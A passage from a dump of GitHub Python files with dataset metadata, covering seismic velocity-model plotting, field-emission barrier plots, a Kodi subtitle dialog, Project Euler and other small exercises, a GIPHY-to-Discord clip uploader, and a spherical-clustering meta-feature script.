zip(range(len(dropped_model)), dropped_model):\n    \n    plot.write(f'gawk \"{{print $2, $1}}\" {dm}-ModelFinal.dat | psxy -J -R -W1,gray -O -K >> %ps%\\n')\n    \nacc_model = pd.DataFrame(columns=['depth'])\nlist_acc_model = []\n\nfor i, am in zip(range(len(accepted_model)), accepted_model):\n\n    plot.write(f'gawk \"{{print $2, $1}}\" {am}-ModelFinal.dat | psxy -J -R -W1,black -O -K >> %ps%\\n')\n\n    if os.stat(f'{am}-ModelFinal.dat').st_size == 0:\n\n        sys.exit(\"Model data is empty\\n\")\n\n    data = pd.read_csv(f'{am}-ModelFinal.dat', header=None, delim_whitespace=True)\n\n    sampling = 0.5\n\n    arr_top = np.arange(data[0].min(), data[0].max() + sampling, sampling)\n    arr_bot = np.arange(data[0].min() + sampling, data[0].max(), sampling)\n    list_dep = list(merge(arr_top, arr_bot))\n    list_vel = np.zeros(len(list_dep))\n    index_layer = np.arange(0, len(list_dep))\n\n    acc_model = acc_model.reindex(acc_model.index.union(index_layer))\n    acc_model['depth'] = list_dep\n    acc_model[f'vel_{am}'] = list_vel\n    list_acc_model.append(f'vel_{am}')\n\n    k = 0\n    for j in range(len(acc_model['depth'])):\n\n        if acc_model['depth'][j] == data[0][k]:\n            acc_model[f'vel_{am}'][j] = data[1][k]\n            k += 1\n\n        elif acc_model['depth'][j] < data[0][k]:\n            acc_model[f'vel_{am}'][j] = data[1][k]\n\n        elif acc_model['depth'][j] > data[0][k]:\n            sys.exit('Sampling is too large or maksimum depth first model too small.\\n'\n                     'Please check sampling value than cover all layer depth value')\n\nacc_model['mean_vel'] = acc_model[list_acc_model].mean(axis=1)\n\nlist_dep = acc_model['depth'].to_list()\nmean_vel = acc_model['mean_vel'].to_list()\nlist_dam = np.zeros(len(mean_vel)).tolist()\n\n# SET SIMPLE VELOCITY MODEL THEN WRITE TO NLLOC VELEST FORMAT\nsimple_v, simple_d = simple_model(mean_vel, list_dep)\nvpvs = 1.75\n\nmod_nlloc = open(os.path.join(output, 'nlloc_mean_1Dmodel.dat'), 'w')\nmod_nlloc.write(\n    '# model layers (LAYER depth, Vp_top, Vp_grad, Vs_top, Vs_grad, p_top, p_grad)')\n\nfor v, d in zip(simple_v, simple_d):\n    l = f'\\nLAYER {d:5.1f} {v:5.2f} 0.00   {v/vpvs:5.2f}  0.00  2.7 0.0'\n    mod_nlloc.write(l)\n\nmod_nlloc.close()\n\nsimple_v, simple_d, simple_dam = simple_model(mean_vel, list_dep, list_dam)\n\nmodout = open(os.path.join(output, 'velest_mean_1Dmodel.dat'), 'w')\nmodout.write(' Output model:\\n')\nmodout.write(str(len(simple_v)) + '\\n')\n\nfor vl, dp, dm in zip(simple_v, simple_d, simple_dam):\n    l = f'{vl:5.2f}     {dp:7.2f}  {dm:7.3f}\\n'\n    modout.write(l)\n\nmodout.close()\n\nplot.write(f'gawk \"{{print $1, $2}}\" {os.path.join(output, \"velest_mean_1Dmodel.dat\")} | psxy -J -R -hi2 -W2,blue -O -K >> %ps%\\n')\n    \nplot.write('\\npsbasemap -JX4/11 -R0.5/9/-0.5/21 -BWnSe -O -K >> %ps%\\n')\nplot.write(f'echo 1 1 > leg.tmp\\n')\nplot.write(f'echo 3.4 1 >> leg.tmp\\n')\nplot.write(f'echo 4 1 Mean 1D Model | '\n           f'pstext -J -R -F+f10p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\nplot.write(f'psxy leg.tmp -J -R -W2,blue -N -O -K >> %ps%\\n')\nplot.write(f'echo 1 2 > leg.tmp\\n')\nplot.write(f'echo 3.4 2 >> leg.tmp\\n')\nplot.write(f'echo 4 2 Accepted Model | '\n           f'pstext -J -R -F+f10p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\nplot.write(f'psxy leg.tmp -J -R -W1,black -N -O -K >> %ps%\\n')\nplot.write(f'echo 1 3 > leg.tmp\\n')\nplot.write(f'echo 3.4 3 >> leg.tmp\\n')\nplot.write(f'echo 4 3 Final Model | '\n           f'pstext -J -R -F+f10p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\nplot.write(f'psxy leg.tmp -J -R -W1,gray -N -O -K >> %ps%\\n')\n\nclr = color_cycle\n\nfor i, am in zip(range(len(accepted_model)), accepted_model):\n\n    color, transp = clr(i, start_transp=50, grad=10)\n    \n    if i == 0:\n        plot.write(f'gawk \"{{print $3}}\" {am}-CatalogInitial.dat | pshistogram -JX%J1% -R%R_nhyp% -A -W1.01+l -Ggray '\n                   f'-t30 --FONT_ANNOT_PRIMARY=10 --FONT_LABEL=13 -L -O -K -X8.5 >> %ps%\\n')\n    plot.write(f'gawk \"{{print $3}}\" {am}-CatalogFinal.dat | pshistogram -JX%J1% -R%R_nhyp% -A -W1.01+l -G{color} '\n               f'-t30 --FONT_ANNOT_PRIMARY=10 --FONT_LABEL=13 -L -O -K >> %ps%\\n')\n\nplot.write('psbasemap -JX%J1% -R%R_nhyp2% -BwnSE -Byafg+l\"Depth (km)\" -Bxaf+l\"n events of accepted models\" '\n           '--FONT_ANNOT_PRIMARY=10 --FONT_LABEL=13 -O -K >> %ps%\\n')\n\nplot.write('\\npsbasemap -JX4/11 -R0.5/9/-0.5/21 -BWnSe -O -K -X3.5 >> %ps%\\n')\n\nif len(accepted_model) <= 20:\n\n    plot.write(f'echo 3 2 | '\n               f'psxy -J -R -SB0.2b1 -Ggray -N -O -K >> %ps%\\n')\n    plot.write(f'echo 3.5 2 Initial Hypocenter | '\n               f'pstext -J -R -F+f9p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\n               \nelse:\n\n    plot.write(f'echo 3 2 | '\n               f'psxy -J -R -SB0.15b1 -Ggray -N -O -K >> %ps%\\n')\n    plot.write(f'echo 3.5 2 Initial Hypocenter | '\n               f'pstext -J -R -F+f7p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\n\nfor i, am in zip(range(len(accepted_model)), accepted_model):\n\n    color, transp = clr(i, start_transp=50, grad=10)\n\n    if len(accepted_model) <= 20:\n\n        plot.write(f'echo 3 {len(accepted_model) + 2 - i} | '\n                   f'psxy -J -R -SB0.2b1 -G{color} -t{transp} -N -O -K >> %ps%\\n')\n        if i == len(accepted_model) - 1:\n            plot.write(f'echo 3.5 {len(accepted_model) + 2 - i} {am} | '\n                       f'pstext -J -R -F+f9p,Helvetica,black+jLM -N -O >> %ps%\\n')\n        else:\n            plot.write(f'echo 3.5 {len(accepted_model) + 2 - i} {am} | '\n                       f'pstext -J -R -F+f9p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\n\n    else:\n\n        plot.write(f'echo 3 {22 - i * 20 / len(accepted_model)} | '\n                   f'psxy -J -R -SB0.15b1 -G{color} -t{transp} -N -O -K >> %ps%\\n')\n        if i == len(accepted_model) - 1:\n            plot.write(f'echo 3.5  {22 - i * 20 / len(accepted_model)} {am} | '\n                       f'pstext -J -R -F+f7p,Helvetica,black+jLM -N -O >> %ps%\\n')\n        else:\n            plot.write(f'echo 3.5  {22 - i * 20 / len(accepted_model)} {am} | '\n                       f'pstext -J -R -F+f7p,Helvetica,black+jLM -N -O -K >> %ps%\\n')\n\nplot.write('\\npsconvert %ps% -Tg -E512 -A0.2 -P -F%out%\\n')\nplot.write('del gmt.* *.tmp *.cpt *.ps\\n')\nplot.close()\n\ntime.sleep(1)\n# print(f\"\\nPlotting All Final Model and Accepted Model . . .\\n\")\np = sp.Popen(['Accepted-Model.bat'], shell=True)\np.communicate()\ntime.sleep(2)","repo_name":"Halauwet/q_velest","sub_path":"filter_model.py","file_name":"filter_model.py","file_ext":"py","file_size_in_byte":8789,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"36564250995","text":"#!/usr/bin/python\n\n\"\"\"This plots the spectra as outputed in spectra.csv from getelec. Spectra has to be \nT in the GetelecPar.in\"\"\" \nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mb\nimport os\n\nfont = 30\nmb.rcParams[\"font.family\"] = \"Serif\"\nmb.rcParams[\"font.size\"] = font\nmb.rcParams[\"axes.labelsize\"] = font\nmb.rcParams[\"xtick.labelsize\"] = font\nmb.rcParams[\"ytick.labelsize\"] = font\nmb.rcParams[\"legend.fontsize\"] = font\nmb.rcParams[\"lines.linewidth\"] = 1.5\n\n\n\n\nfig1 = plt.figure()\nax1 = fig1.gca()\nax1.set_xlabel(r\"$R [nm]$\")\nax1.set_ylabel(r\"$L [nm]$\")\nax1.set_title(r'Barrier length (L) - Radius of curvature (R)')\n\n\nR = np.linspace(5.,50., 100)\nL = np.copy(R)\nLex = np.copy(R)\n\n\n\ntemp = 300.\n\nkT = 8.6173324e-5 * temp\n\nos.system('cp in/par2.in in/GetelecPar.in')\n\nfor i in range(len(L)):\n    appstr = os.popen('./bin/current.exe 5. 4.5 300 %f | grep \"L = \" '%(R[i])).read().split()\n    #os.system('./bin/current.exe %f 4.5 3000.'%field)\n    L[i] = float(appstr[2])\n\n\n    \nos.system('cp in/par1.in in/GetelecPar.in')\n    \nfor i in range(len(L)):\n    appstr = os.popen('./bin/current.exe 5. 4.5 300 %f | grep \"L = \" '%(R[i])).read().split()\n    #os.system('./bin/current.exe %f 4.5 3000.'%field)\n    Lex[i] = float(appstr[2])\n    \n\nappstr = os.popen('./bin/current.exe 5. 4.5 300 3000. | grep \"L = \" '%(R[i])).read().split()\nLsn = float(appstr[2])\n\n    \nax1.plot(R,L,'b-', label = 'Approximate - KX')\nax1.plot(R,Lex,'r-', label = 'Numerical')\nax1.plot(np.array([R[0], R[-1]]), np.array([Lsn, Lsn]), 'k-', label = 'Approximate - SN')\n\nax1.legend(loc = 'best')    \n\nplt.show()\n","repo_name":"AndKyr/GETELEC","sub_path":"python/lengthtest.py","file_name":"lengthtest.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"}
+{"seq_id":"11546992758","text":"import xbmcgui  # pylint: disable=import-error\n\n\ndef invoke(context):\n    language = context.settings.language\n\n    choices = [\n        context.i18n('None'),\n        context.i18n('Prompt'),\n    ]\n\n    if language.startswith('en'):\n        choices.append(context.i18n('%s with %s fallback') % ('en', 'en-US/en-GB'))\n    else:\n        choices.append(context.i18n('%s with %s fallback') % (language, 'en'))\n\n    choices.append(language)\n    choices.append('%s (%s)' % (language, context.i18n('No auto-generated')))\n\n    result = xbmcgui.Dialog().select(\n        context.i18n('Subtitle language'),\n        choices\n    )\n\n    if result == -1:\n        return\n\n    context.settings.subtitle_language = result\n    context.settings.subtitle_label = choices[result]\n","repo_name":"anxdpanic/plugin.video.tubed","sub_path":"resources/lib/src/scripts/configure_subtitles.py","file_name":"configure_subtitles.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"37"}
+{"seq_id":"11961443590","text":"#!/usr/bin/env python3\n\n\"\"\"\n    euler51.py\n    2020\n\"\"\"\n\n\nimport numpy as np\nimport itertools\n\n\ndef sieve(n):\n    \"\"\" Sieve of Erathostenes using numpy\"\"\"\n    primes = np.ones(n, dtype=bool)\n    primes[0:2] = False\n    for i in range(2, int(n**0.5) + 1):\n        if primes[i]:\n            primes[i*i::i] = False\n    return np.nonzero(primes)[0]\n\n\ndef smallest_prime(ascending_primes):\n    primes = dict.fromkeys(ascending_primes) # dict instead of set to maintain insertion order\n    for p in primes:\n        str_p = str(p)\n        for no_digits in range(1, len(str_p)):\n            for comb in itertools.combinations(range(len(str_p)), r=no_digits):\n                group = []\n                if 0 in comb:\n                    digits_to_check = '123456789'\n                    failure = 1\n                else:\n                    digits_to_check = '0123456789'\n                    failure = 0\n                for digit in digits_to_check:\n                    new_number = int(''.join(digit if i in comb else d for i, d in enumerate(str_p)))\n                    if new_number not in primes:\n                        failure += 1\n                        if failure == 3:\n                            break\n                    else:\n                        group.append(new_number)\n                else:\n                    return min(group), group\n\n\nprimes = sieve(1_000_000)\nprint(smallest_prime(primes))\n# (121313, [121313, 222323, 323333, 424343, 525353, 626363, 828383, 929393])\n","repo_name":"bruno-zamariola/project-euler","sub_path":"python/euler51-60/euler51.py","file_name":"euler51.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21969230822","text":"#coding=utf-8\n#输入某年某月某日，判断这一天是这一年的第几天？\n\ndaySum = 0\nyear = int(raw_input(\"year:\"))\nmonth = int(raw_input(\"month:\"))\nday = int(raw_input(\"day:\"))\n\nlist31 = {1,3,5,7,8,10,12}\nlist30 = {4,6,9,11}\ndef isLeap(year):\n    '''判断某一年是否为闰年，闰年返回1平年返回0'''\n    leap = 0\n    if year % 4 ==0:\n        if year % 100 ==0:\n            if year % 400 == 0:\n                leap = 1\n            else:\n                leap = 0\n        else:\n            leap = 1\n    else:\n        leap = 0\n    return leap\n    \nfor monthidx in range(1,month):\n    if(monthidx in list31):\n        daySum+=31\n    if(monthidx in list30):\n        daySum+=30\n    if(monthidx == 2):\n        daySum = daySum + 27 + isLeap(year)\ndaySum+=day\n\nprint(isLeap.__doc__)\n\nprint('这是一年中的第{}天'.format(daySum))\n\n","repo_name":"k1412/python0","sub_path":"t004.py","file_name":"t004.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23014675268","text":"class ArraySetOperations:\n    def bubbleSort(self, items, length):\n        i = 0\n        while i < length:\n            j = 0\n            while j < length - 1 - i:\n                if items[j] > items[j + 1]:\n                    items[j + 1] = items[j] + items[j + 1]\n                    items[j] = items[j + 1] - items[j]\n                    items[j + 1] = items[j + 1] - items[j]\n                j += 1\n            i += 1\n    \n    def intersection(self, array1, array2, length1, length2):\n        array_intersection = []\n        i = 0\n        j = 0\n        while i < length1 and j < length2:\n            if array1[i] < array2[j]:\n                i += 1\n            elif array1[i] > array2[j]:\n                j += 1\n            else:\n                array_intersection.append(array1[i])\n                i += 1\n                j += 1\n        \n        return array_intersection\n\nif __name__ == '__main__':\n    arrayOps = ArraySetOperations()\n    array1 = str(input('Enter items of first list(separated by comma) = ')).split(',')\n    array1 = list(map(int, array1))\n    array2 = str(input('Enter items of second list(separated by comma) = ')).split(',')\n    array2 = list(map(int, array2))\n    length1 = len(array1)\n    length2 = len(array2)\n    arrayOps.bubbleSort(array1, length1)\n    arrayOps.bubbleSort(array2, length2)\n    print('Itersection of two sets is : {}'.format(arrayOps.intersection(array1, array2, length1, length2)))\n","repo_name":"luthraG/ds-algo-war","sub_path":"general-practice/10_09_2019/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21252413227","text":"import sympy as sy\n\na, xm, nL, lnx, n = sy.symbols(\"a x_min n_Lambda lnx n\")\n\ndef tex(expr):\n    _y = sy.symbols(r\"\\xm\")\n    this = expr.replace(y, _y)\n    return sy.latex(this)\n\nlnxm = sy.log(xm)\n\nlogL = n*sy.log(a-1)-n*sy.log(a)-n*sy.log(xm) - a*nL*(lnx - lnxm)\n\ndLda = sy.diff(logL, a)\ndLdxm = sy.diff(logL, xm)\n\n_ahat = sy.solve(sy.Eq(dLdxm,0), a)[0]\n_xm = sy.solve(sy.Eq(dLda.replace(a, _ahat),0), xm)[0]\nprint(\"--------ahat--------\")\nsy.pprint(_ahat)\nprint(\"--------xmhat--------\")\nsy.pprint(_xm)\n\nahat = n/nL\nlnhatxm = lnx - nL/(n-nL)\nhatxm = sy.exp(lnhatxm)\nassert((_ahat-ahat).simplify()==0)\nassert((hatxm-_xm).simplify()==0)\n\nd2Lda2 = sy.diff(dLda,a).replace(a,ahat).replace(xm,hatxm)\nd2Ldxmda = sy.diff(dLda,xm).replace(a,ahat).replace(xm,hatxm)\nd2Ldadxm = sy.diff(dLdxm,a).replace(a,ahat).replace(xm,hatxm)\nd2Ldxm2 = sy.diff(dLdxm,xm).replace(a,ahat).replace(xm,hatxm)\n\nM = sy.Matrix([ [d2Lda2, d2Ldxmda], [d2Ldadxm, d2Ldxm2] ])\n\nprint(\"--------hessian det-------\")\nsy.pprint(sy.simplify(M.det()))\n\n","repo_name":"benmaier/fincoretails","sub_path":"fincoretails/analytical/unipareto.py","file_name":"unipareto.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21956843430","text":"from discord import Webhook, RequestsWebhookAdapter\nfrom watchdog.events import FileSystemEventHandler\nfrom watchdog.observers import Observer\nfrom dotenv import load_dotenv\nimport moviepy.editor\nimport requests\nimport time\nimport os\n\nload_dotenv() # Get enviornmental variables and establish connection with discord\n\napi = os.getenv('API')  # Secret info\nwh = os.getenv('WEBHOOK')\npath = (\"Z:\\pi-clips\")\n\nclass Exeventhandler(FileSystemEventHandler):   # Establish event handler\n    def on_created(self, event):\n        main(event.src_path)\n\ndef main(file): # Post clip to GIPHY, format JSON response to get link, and send in discord\n    \n    # Prep data for POST requests\n    giphy_url = 'https://upload.giphy.com/v1/gifs'\n    api_key = {'api_key': api}\n    upload_file = {'file': open(file,'rb')}\n    \n    # Check video length\n    video = moviepy.editor.VideoFileClip(file)\n    vid_len = int(video.duration)\n    \n    if vid_len > 15:\n        print(\"GIPHY only allows for 15sec clips, please clip to under 15 until a better solution is found.\")\n    else:\n        print('Clip is good!')\n        print('Uploading and Encoding...')\n        gif_upload = requests.post(giphy_url, data=api_key, files=upload_file)\n        print(gif_upload.status_code)\n        \n        format_data = gif_upload.json()\n        id = format_data['data']\n        url_id = id['id']\n        gif_url = f'https://giphy.com/gifs/{url_id}'\n    \n        print('Posting Message...')\n        Webhook.from_url(wh, adapter=RequestsWebhookAdapter()).send(gif_url, username='Clip Bot')\n\nif __name__ == \"__main__\":\n    observer = Observer()\n    event_handler = Exeventhandler() # create event handler\n    \n    # set observer to use created handler in directory\n    observer.schedule(event_handler, path=path)\n    observer.start()\n    \n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        observer.stop()\n\n    observer.join()","repo_name":"Nagamakii/Clip-Automation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27481118829","text":"# @Author: Joey Teng\n# @Email:  joey.teng.dev@gmail.com\n# @Filename: spherical_cluster.py\n# @Last modified by:   Joey Teng\n# @Last modified time: 25-Mar-2018\n\"\"\"Obtain clusters and calculate meta-features.\n\nArgs:\n    dataset_filename (string): path to the dataset\n\nPredefined types:\n    Point (dict): {'coordinate': (float, ...), 'label': int}\n    Dataset (list): list of dict objects:\n        [Point, ...]\n    Vertex (tuple): Point['coordinate']\n    Vertices (list): [Vertex, ...]\n\nOutput files:\n    dataset_filename.output.json: calculated meta-features.\n    dataset_filename.clusters.json: calculated clusters.\n    dataset_filename.log: log file\n\n\"\"\"\nimport argparse\nimport collections\nimport json\nimport logging\nimport logging.handlers\nimport math\nimport multiprocessing.pool\nimport os\n\nimport numpy\n\nimport meta_features\n\n\nINFINITESIMAL = 1e-323\nPROCESS_COUNT = int(os.cpu_count() / 2)\n\n\ndef initialize_logger(\n        name='LOG',\n        filename=None,\n        level=logging.DEBUG,\n        filemode='a'):\n    \"\"\"Initialize a logger in module logging.\n\n    Args:\n        name (string, optional): Name of logger. Defaults to None.\n        filename (string, optional): Defaults to None.\n            The path of log file\n            By default, logger will stream to the standard output\n        level (logging level, optional): Defaults to logging.INFO\n        filemode (string, optional): Defaults to 'a'.\n            'w' or 'a', overwrite or append\n\n    Returns:\n        logger: [description]\n\n    \"\"\"\n    log_format = '%(asctime)s %(levelname)s\\n' + \\\n        '  %(filename)s:%(lineno)s: %(name)s: %(message)s'\n\n    if filename is None:\n        handler = logging.StreamHandler()\n    else:\n        handler = logging.handlers.RotatingFileHandler(\n            filename=filename, mode=filemode)\n\n    handler.setFormatter(logging.Formatter(log_format))\n    logger = logging.getLogger(name)\n    logger.addHandler(handler)\n    logger.setLevel(level)\n\n    return logger, handler\n\n\ndef load_dataset(filename):\n    \"\"\"Load data from a csv file.\n\n    Args:\n        filename (string): path of input file.\n            CSV format\n            [coordinate, ...] + [label]\n\n    Returns:\n        Dataset: dataset\n\n    \"\"\"\n    return [(\n        lambda point: {\n            'coordinate': tuple(map(float, point[:-1])),\n            'label': int(point[-1])})\n            (string.strip().rstrip().split(','))\n            for string in open(filename, 'r').read()\n            .strip().rstrip().split('\\n')]\n\n\ndef initialize_cluster(coordinates):\n    \"\"\"Construct a cluster instance with given coordiante.\n\n    A factory function\n\n    Args:\n        coordinates (list): The coordinates that needed to be included.\n            [Vertex, ...]\n\n    Returns:\n        dict: a cluster initialized with given coordinates\n            [{\n                'centroid' (Vertex): centroid of the sphere,\n                'radius' (float): radius of the sphere,\n                'points' (list): Instances in the cluster\n                        i.e. distance <= radius\n                    [Vertex, ...],\n                'size' (int): Number of instances covered by the sphere\n                    len(['points']),\n                'volume' (float): volume of the sphere\n            }]\n\n    \"\"\"\n    points = coordinates\n    _points = list(map(numpy.array, coordinates))\n    centroid = sum(_points) / len(_points)\n    radius = max(\n        map(lambda x, y=centroid: numpy.linalg.norm((x - y)), _points))\n\n    return {\n        'centroid': tuple(centroid),\n        'radius': radius,\n        'points': points,\n        'size': len(points),\n        'log-volume': calculate_log_volume(len(centroid), radius)\n    }\n\n\ndef calculate_distance(lhs, rhs):\n    \"\"\"Calculate the euclidean distance between 2 points.\n\n    Args:\n        lhs, rhs (Vertex): Coordinates of 2 points\n\n    Returns:\n        float: Euclidean distance between them\n\n    \"\"\"\n    return numpy.linalg.norm((numpy.array(lhs) - numpy.array(rhs)))\n\n\ndef calculate_log_volume(dimension, radius):\n    \"\"\"Calculate the log-volume of a sphere with given dimension and radius.\n\n    Args:\n        dimension (int): dimension of the space\n        radius (float): radius of the sphere\n\n    Returns:\n        float: the log-volume of the sphere\n               radius is set as REL_TOL (1e-09)\n\n    \"\"\"\n    if (math.isclose(radius, 0)):\n        radius = INFINITESIMAL\n\n    try:\n        log_volume = ((dimension / 2.0) * math.log(math.pi) + dimension *\n                      math.log(radius) - math.lgamma(dimension / 2.0 + 1))\n    except ValueError as message:\n        raise ValueError(\"\".join([\n            \"{0}\\n\".format(message),\n            \"(({0} / 2.0) * ln(pi) + ({0} * ln({1})\".format(dimension, radius),\n            \" - ln(gamma({0} / 2.0 + 1)))\".format(dimension)]))\n    if math.isnan(log_volume):\n        raise ValueError(\n            \"Volume is NaN: pi ^ \" +\n            \"({0} / 2.0) / gamma({0} / 2.0 + 1) * {1} ^ {0}\".format(\n                dimension, radius))\n\n    return log_volume\n\n\ndef float_less_or_equal(lhs, rhs, **kwargs):\n    \"\"\"Determine float A is less than or equal to B using numpy.isclose().\n\n    Use numpy.isclose() to determine if A and B are equal\n        with default tolerance.\n\n    Args:\n        lhs, rhs (float): values that need to be compared\n        kwargs: kwargs for numpy.isclose()\n\n    Returns:\n        bool: result of comparison.\n\n    \"\"\"\n    return numpy.isclose(lhs, rhs, **kwargs) or (lhs < rhs)\n\n\ndef check_inside_cluster(cluster, point):\n    \"\"\"Check if point is inside the cluster.\n\n    Args:\n        cluster (dict): cluster to be checked\n            {\n                'centroid' (Vertex): centroid of the cluster,\n                'radius' (float): radius of the cluster\n            }\n        point (Vertex): point to be checked\n\n    Returns:\n        bool: if the point is encompassed by the boundary\n\n    \"\"\"\n    return float_less_or_equal(\n        calculate_distance(cluster['centroid'], point), cluster['radius'])\n\n\ndef check_homogeneity(cluster, label, clusters):\n    \"\"\"Check homogeneity of the cluster with given clusters.\n\n    A homogeneous cluster will not overlap with any other cluster which has\n        different label, but may overlap with cluster that has the same label.\n        Which means, there should be no region with ambiguity in\n        categorisation process.\n\n    Args:\n        cluster (dict): Cluster that need to be checked\n            {\n                'centroid' (Vertex): centroid of the cluster,\n                'radius' (float): radius of the cluster\n            }\n        label (): label of the cluster\n        clusters (dict): list of clusters with labels as keys.\n            {\n                label: [cluster, ...]\n            }\n\n    Returns:\n        bool: if cluster is homogeneous\n\n    \"\"\"\n    for _label, _clusters in clusters.items():\n        if _label == label:\n            continue\n\n        for _cluster in _clusters:\n            if float_less_or_equal(\n                calculate_distance(\n                    cluster['centroid'], _cluster['centroid']),\n                    (cluster['radius'] + _cluster['radius'])):\n                return False\n    return True\n\n\ndef clustering(dataset, logger):\n    \"\"\"Calculate all spherical clusters.\n\n    All spheres will be pure(only contains data points with same label)\n\n    Args:\n        dataset (list): All the instances in the space with label\n            list of dict objects:\n            [Point, ...]\n        logger (logger): logger for logging\n\n    Returns:\n        dict: Clusters obtained separated by labels\n            label: clusters (list of dict objects)\n                [{\n                'centroid' (Vertex): centroid of the sphere,\n                'radius' (float): radius of the sphere,\n                'points' (list) : Instances in the cluster\n                    [Vertex, ...],\n                'size' (int): Number of instances covered by the sphere\n                    len(['points']),\n                'volume': The volume of the sphere\n                    float(optional)\n                }, ...]\n\n    \"\"\"\n    logger.info('Sorting datasets...')\n    dataset.sort(key=lambda x: x['coordinate'])\n\n    logger.info('Initialise clusters...')\n    clusters = collections.defaultdict(list)\n    for instance in dataset:\n        clusters[instance['label']].append(\n            initialize_cluster((instance['coordinate'], )))\n\n    logger.info('Merging clusters...')\n    logger_count = 0\n    for label, homo_clusters in clusters.items():\n        index = 0\n        while index < len(homo_clusters):\n            current = homo_clusters[index]\n            merging_index = -1\n            distance = float('inf')\n            for j_index, cluster in enumerate(homo_clusters[index + 1:]):\n                new_distance = calculate_distance(\n                    current['centroid'], cluster['centroid'])\n                if new_distance < distance:\n                    merging_index = j_index + index + 1\n                    distance = new_distance\n\n            if merging_index == -1:\n                index += 1\n                continue\n\n            cluster = initialize_cluster(\n                current['points'] + homo_clusters[merging_index]['points'])\n            if (check_homogeneity(cluster, label, clusters)):\n                homo_clusters[merging_index], homo_clusters[-1] =\\\n                    homo_clusters[-1], homo_clusters[merging_index]\n                homo_clusters.pop()\n                current = cluster\n                homo_clusters[index] = current\n            else:\n                index += 1\n        logger_count += 1\n        logger.info('{0}/{1} categories completed'.format(\n            logger_count, len(clusters.keys())))\n\n    return clusters\n\n\ndef main(args):\n    \"\"\"\n    Start main function here.\n\n    Dispatching all the tasks to process.\n    \"\"\"\n    log_file = args.log\n\n    logger, handler = initialize_logger(\"Parent\", log_file)\n    logger.info('Start: Version 2.1.1')\n    logger.debug('Logger initialized')\n    logger.debug('argparse: %r', args)\n    logger.removeHandler(handler)\n\n    _args = []\n    for dataset_filename in args.paths:\n        clusters_filename = dataset_filename + \".clusters.json\"\n        output_filename = dataset_filename + \".output.json\"\n\n        _args.append(tuple([\n            dataset_filename,\n            clusters_filename,\n            output_filename,\n            log_file]))\n\n    pool = multiprocessing.pool.Pool(PROCESS_COUNT)\n    list(pool.map(task_processing, _args))\n    pool.close()\n    pool.join()\n\n\ndef task_processing(args):  # Take note here!!!\n    \"\"\"Unwrap the args tuple to adapt a function with multiple args to map.\"\"\"\n    def worker(\n            dataset_filename,\n            clusters_filename,\n            output_filename,\n            log_file):\n        \"\"\"Link the submodules to process the data.\"\"\"\n        logger, handler = initialize_logger(dataset_filename, log_file)\n        logger.debug('Logger initialized')\n\n        logger.debug('Loading dataset')\n        dataset = load_dataset(dataset_filename)\n        logger.info('Dataset loaded')\n\n        logger.info('Trying to load clusters from %s', clusters_filename)\n        clusters = None\n        try:\n            clusters = json.load(open(clusters_filename, 'r'))\n        except FileNotFoundError:\n            logger.warning('Clusters data file not found')\n        except json.decoder.JSONDecodeError:\n            logger.warning('File broken. Not Json Decodable')\n\n        if not clusters:\n            logger.debug('Clustering data points')\n            clusters = clustering(dataset, logger)\n            logger.debug(\n                'Dumping clusters data into json file: %s', clusters_filename)\n            json.dump(clusters, open(clusters_filename, 'w'))\n            logger.info('Data points clustered')\n\n        logger.debug('Calculating meta-feature indicators')\n        features = meta_features.meta_features(clusters)\n        logger.debug(\n            'Dumping meta-feature indicators into json file: %s',\n            clusters_filename)\n        json.dump(features, open(output_filename, 'w'))\n        logger.info('Meta-feature indicators calculated')\n\n        logger.info('Complete')\n\n        logger.removeHandler(handler)\n\n    return worker(*args)\n\n\ndef traverse(paths):\n    \"\"\"Traverse to collect all the data files.\"\"\"\n    print(\"Starting Traverse Through\", flush=True)\n    files = []\n    while paths:\n        path = paths[0]\n        paths = paths[1:]\n        for file in os.listdir(path):\n            if (file.find('.json') == -1\n                    and file.find('.log') == -1\n                    and file.find('.DS_Store') == -1\n                    and file.find('.png') == -1\n                    and file.find('.html') == -1):\n                files.append('{0}/{1}'.format(path, file))\n            elif os.path.isdir('{0}/{1}'.format(path, file)):\n                paths.append('{0}/{1}'.format(path, file))\n\n    print(\"Traverse Completed.\", flush=True)\n    return files\n\n\ndef parse_args():\n    \"\"\"Parse all necessary args.\"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Obtain clusters and calculate meta-features\")\n    parser.add_argument('-r', action='store', nargs='+',\n                        default=[], metavar='Directory',\n                        help='Recursively processing all files in the folder')\n    parser.add_argument('-i', action='store', nargs='+',\n                        default=[], metavar='File',\n                        help='Files that need to be processed')\n    parser.add_argument('--log', action='store', type=str,\n                        default='spherical_cluster.log', metavar='Log file',\n                        help='Path to the log file')\n\n    args = parser.parse_args()\n    paths = []\n    if (args.r):\n        paths = traverse(args.r)\n    paths.extend(args.i)\n    paths.sort()\n    args.paths = paths\n\n    return args\n\n\nif __name__ == '__main__':\n    args = parse_args()\n    